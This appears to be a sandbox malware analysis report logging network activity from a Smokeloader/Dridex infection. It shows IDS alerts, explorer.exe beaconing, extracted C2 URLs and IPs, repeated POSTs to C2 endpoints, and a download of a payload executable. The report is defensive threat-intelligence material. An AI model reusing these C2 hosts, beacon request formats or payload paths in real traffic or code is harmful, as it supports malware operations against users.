Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49891 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49922 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49939 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49961 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49998 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50024 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50017 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50021 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.5:50024 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.5:50021 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50023 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.5:50017 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.5:50023 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50013 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.5:50013 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50018 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.5:50018 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50020 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50026 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.5:50020 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.5:50026 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50012 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.5:50012 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50027 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.5:50027 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50029 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.5:50029 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50030 -> 188.40.141.211:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.5:50030 -> 188.40.141.211:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 188.40.141.211 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 105.197.97.247 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 189.195.132.134 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.145.40.164 443	Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://nwgrus.ru/tmp/index.php
Source: Malware configuration extractor	URLs: http://tech-servers.in.net/tmp/index.php
Source: Malware configuration extractor	URLs: http://unicea.ws/tmp/index.php

Source: Joe Sandbox View

IP Address: 188.40.141.211 188.40.141.211

Source: Joe Sandbox View	ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View	ASN Name: RAYA-ASEG RAYA-ASEG
Source: Joe Sandbox View	ASN Name: MegaCableSAdeCVMX MegaCableSAdeCVMX
Source: Joe Sandbox View	ASN Name: SURFAIRWIRELESS-IN-01US SURFAIRWIRELESS-IN-01US

Source: Joe Sandbox View	JA3 fingerprint: 72a589da586844d7f0818ce684948eea
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: GET /ksa9104.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.145.40.164
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://qchnpedxxogxdjn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: calvinandhalls.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://oqqsbiatqglrn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 176Host: bestworldhools.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://xoybtutnnxkecaqf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 262Host: calvinandhalls.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://cqxtjrqcgsayay.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 251Host: bestworldhools.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://nihavgqtcpkgtcxt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 111Host: calvinandhalls.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://uheybmputpop.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 267Host: bestworldhools.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://glhqomjbdpj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 269Host: calvinandhalls.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://xnhhfayqvhtyngw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 175Host: bestworldhools.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://hptbtnqwmmhbw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: calvinandhalls.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://klstdrudvxhgouey.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 278Host: bestworldhools.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://dtojnsdaxdil.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 300Host: calvinandhalls.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://mwlktdttfgqo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 270Host: bestworldhools.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bmrvdxbbdeon.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 338Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hkxxphsdfyiakovt.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 350Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hgegifhrmen.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 174Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jqmiciumjrg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 142Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xlakrjktmvagfqhe.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 259Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cvqgcpbdqadirwgw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 169Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rhtihevserv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 178Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xvhoixsulem.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 149Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eywbfvbvilup.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://garnufhrqshsv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 251Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jpqykkhyhkjhpkd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 186Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ctxuhanhwfs.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 326Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ncglteyuwoqfog.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uknyifxswcdyll.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 123Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pxdktwwwgewqlyba.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://emasrygonyft.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 356Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pwvfxidmiqrrd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 219Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gcmljhlsnyknod.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 256Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://emsfvchaaieje.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 120Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://goboxcgfexx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 175Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ruprlmkhoul.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://isbmdtufnkfjsgc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 342Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dkfsbqntnihxbnlu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 223Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aiwrtqoespykiwu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 171Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://isyxarorgwntyxfd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 186Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://busntnknves.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 347Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ewcutxkdkeyvacp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lwocwqbtqohnf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 169Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tiisncfdrpaiu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 361Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gieumfrwvwjruuah.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 114Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hkihwrdtvsi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 189Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bqpiqprsuajpd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 149Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fsqorqnhaeehy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eihhylujhlro.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 360Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qcgaudpuoiuttos.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 249Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mhqikqiwjyotw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dymavinnaeuaxxm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 346Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xuqynkrewbaraj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 238Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://niarphxxbktdxvwh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lqpnyjpucaq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 132Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://akokgrlutaukqvq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 348Host: nwgrus.ru

Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164

Source: global traffic

HTTP traffic detected: GET /ksa9104.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.145.40.164

Source: global traffic	DNS traffic detected: DNS query: nwgrus.ru
Source: global traffic	DNS traffic detected: DNS query: calvinandhalls.com
Source: global traffic	DNS traffic detected: DNS query: bestworldhools.com

Source: unknown

HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: https://qchnpedxxogxdjn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: calvinandhalls.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Mon, 07 Oct 2024 13:00:14 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Mon, 07 Oct 2024 13:00:17 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Mon, 07 Oct 2024 13:01:32 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Mon, 07 Oct 2024 13:01:33 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Mon, 07 Oct 2024 13:01:55 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Mon, 07 Oct 2024 13:01:56 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Mon, 07 Oct 2024 13:02:16 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Mon, 07 Oct 2024 13:02:17 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Mon, 07 Oct 2024 13:02:39 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Mon, 07 Oct 2024 13:02:40 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Mon, 07 Oct 2024 13:03:02 GMTConnection: close
